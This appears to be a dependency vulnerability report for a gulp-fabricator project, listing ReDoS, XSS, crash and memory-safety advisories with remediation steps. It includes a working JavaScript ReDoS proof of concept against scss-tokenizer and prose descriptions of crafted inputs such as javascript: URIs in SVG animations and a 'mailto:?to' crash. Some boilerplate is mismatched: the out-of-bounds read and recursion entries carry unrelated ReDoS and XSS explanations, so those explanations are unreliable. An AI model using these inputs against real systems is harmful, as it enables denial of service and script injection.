  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › sass-graph@2.2.5 › scss-tokenizer@0.2.3
    Remediation: Upgrade to gulp-sass@5.0.0.

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the loadAnnotation() function, due to the usage of insecure regex.

PoC

var scss = require("scss-tokenizer")
function build_attack(n) {
    var ret = "a{}"
    for (var i = 0; i < n; i++) {
        ret += "/*# sourceMappingURL="
    }
    return ret + "!";
}

// postcss.parse('a{}/*# sourceMappingURL=a.css.map */')
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            scss.tokenize(attack_str)
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade scss-tokenizer to version 0.4.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: uglify-js
  • Introduced through: gulp-less@4.0.1 and uglify-js@3.8.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-less@4.0.1 › accord@0.29.0 › uglify-js@2.8.29
    Remediation: Upgrade to gulp-less@5.0.0.
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › uglify-js@3.8.0
    Remediation: Upgrade to uglify-js@3.14.3.

Overview

uglify-js is a JavaScript parser, minifier, compressor and beautifier toolkit.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the string_template and the decode_template functions.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade uglify-js to version 3.14.3 or higher.

References

medium severity
new

Uncaught Exception

  • Vulnerable module: uri-js
  • Introduced through: gulp-htmlhint@3.0.0 and gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-htmlhint@3.0.0 › htmlhint@0.10.3 › request@2.88.0 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.

Remediation

There is no fixed version for uri-js.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the xmp raw-text passthrough. An attacker can execute arbitrary JavaScript in the browser of another user by submitting specially crafted HTML content that is sanitized and then rendered as trusted output.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.17.4 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) incomplete validation of URI schemes in attributes such as action, formaction, data, poster, and background. An attacker can execute arbitrary scripts in the context of the user’s browser by injecting a crafted javascript: URI into these attributes when they are allowed in the configuration.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.17.5 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the sanitizeHtml function. An attacker can execute arbitrary scripts in the context of the user's browser by injecting specially crafted markup containing a literal solidus after a raw-text end-tag, which bypasses the intended sanitization and is interpreted as executable HTML by browsers.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.17.6 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the SVG SMIL animation handling in packages/sanitize-html/index.js. An attacker can execute JavaScript in the application’s origin by supplying an allowed <animate> or <set> element with attributeName="href" or xlink:href" and a values list such as #safe;javascript:..., which bypasses the scheme policy because the sanitizer treats the list as a single flat URL. When a victim clicks the sanitized SVG link, the browser applies the animated javascript: destination after sanitization, exposing the application to script execution in user sessions.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.17.7 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via insufficient sanitization of meta refresh elements, where a non-default configuration that permits meta tags with http-equiv and content attributes allows unsafe script or redirect destinations embedded in the refresh content value to pass through unsanitized. An attacker can inject a malicious URL or script payload into the content attribute of a meta http-equiv="refresh" element, which is then rendered in the victim's browser.

Note: This is only exploitable when the sanitize-html configuration explicitly allows meta elements and their http-equiv and content attributes.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade sanitize-html to version 2.18.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the sanitizeHtml function when the custom transformTags option is used. An attacker can inject and execute malicious code by providing crafted input that is not properly sanitized.

Remediation

Upgrade sanitize-html to version 2.0.0 or higher.

References

medium severity

Improper Encoding or Escaping of Output

  • Vulnerable module: sanitize-html
  • Introduced through: gulp-jsdoc3@2.0.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-jsdoc3@2.0.0 › ink-docstrap@1.3.2 › sanitize-html@1.27.5

Overview

sanitize-html is a library that allows you to clean up user-submitted HTML, preserving whitelisted elements and whitelisted attributes on a per-element basis

Affected versions of this package are vulnerable to Improper Encoding or Escaping of Output via the linkHref field handling. An attacker can execute arbitrary JavaScript by supplying a javascript: URL in an image widget's link URL field and having it rendered on the page. This affects users who can edit content and allows an attacker to run a script in viewers’ browsers, exposing session data and enabling unauthorized actions on the affected site.

Workaround

Restrict who can edit or publish image widgets so untrusted users cannot set the Link to field to a javascript: URL; this prevents stored XSS from being published to pages viewed by others.

Remediation

Upgrade sanitize-html to version 2.17.4 or higher.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: eslint
  • Introduced through: gulp-sass-lint@1.4.0

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass-lint@1.4.0 › sass-lint@1.13.1 › eslint@2.13.1

Overview

eslint is a pluggable linting utility for JavaScript and JSX

Affected versions of this package are vulnerable to Uncontrolled Recursion in the isSerializable function when handling objects with circular references during the serialization process. An attacker can cause the application to crash or become unresponsive by supplying specially crafted input that triggers infinite recursion.

Remediation

Upgrade eslint to version 9.26.0 or higher.

References

medium severity

NULL Pointer Dereference

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to NULL Pointer Dereference via Sass::Parser::parseCompoundSelectorin parser_selectors.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Remediation

There is no fixed version for node-sass.

References

medium severity

Out-of-bounds Read

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Out-of-bounds Read via Sass::weaveParents in ast_sel_weave.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for node-sass.

References

medium severity

Uncontrolled Recursion

  • Vulnerable module: node-sass
  • Introduced through: gulp-sass@4.0.2

Detailed paths

  • Introduced through: gulp-fabricator@nitro404/gulp-fabricator › gulp-sass@4.0.2 › node-sass@4.14.1

Overview

node-sass is a Node.js bindings package for libsass.

Affected versions of this package are vulnerable to Uncontrolled Recursion via Sass::Eval::operator()(Sass::Binary_Expression*) in eval.cpp. Note: node-sass is affected by this vulnerability due to its bundled usage of the libsass package.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

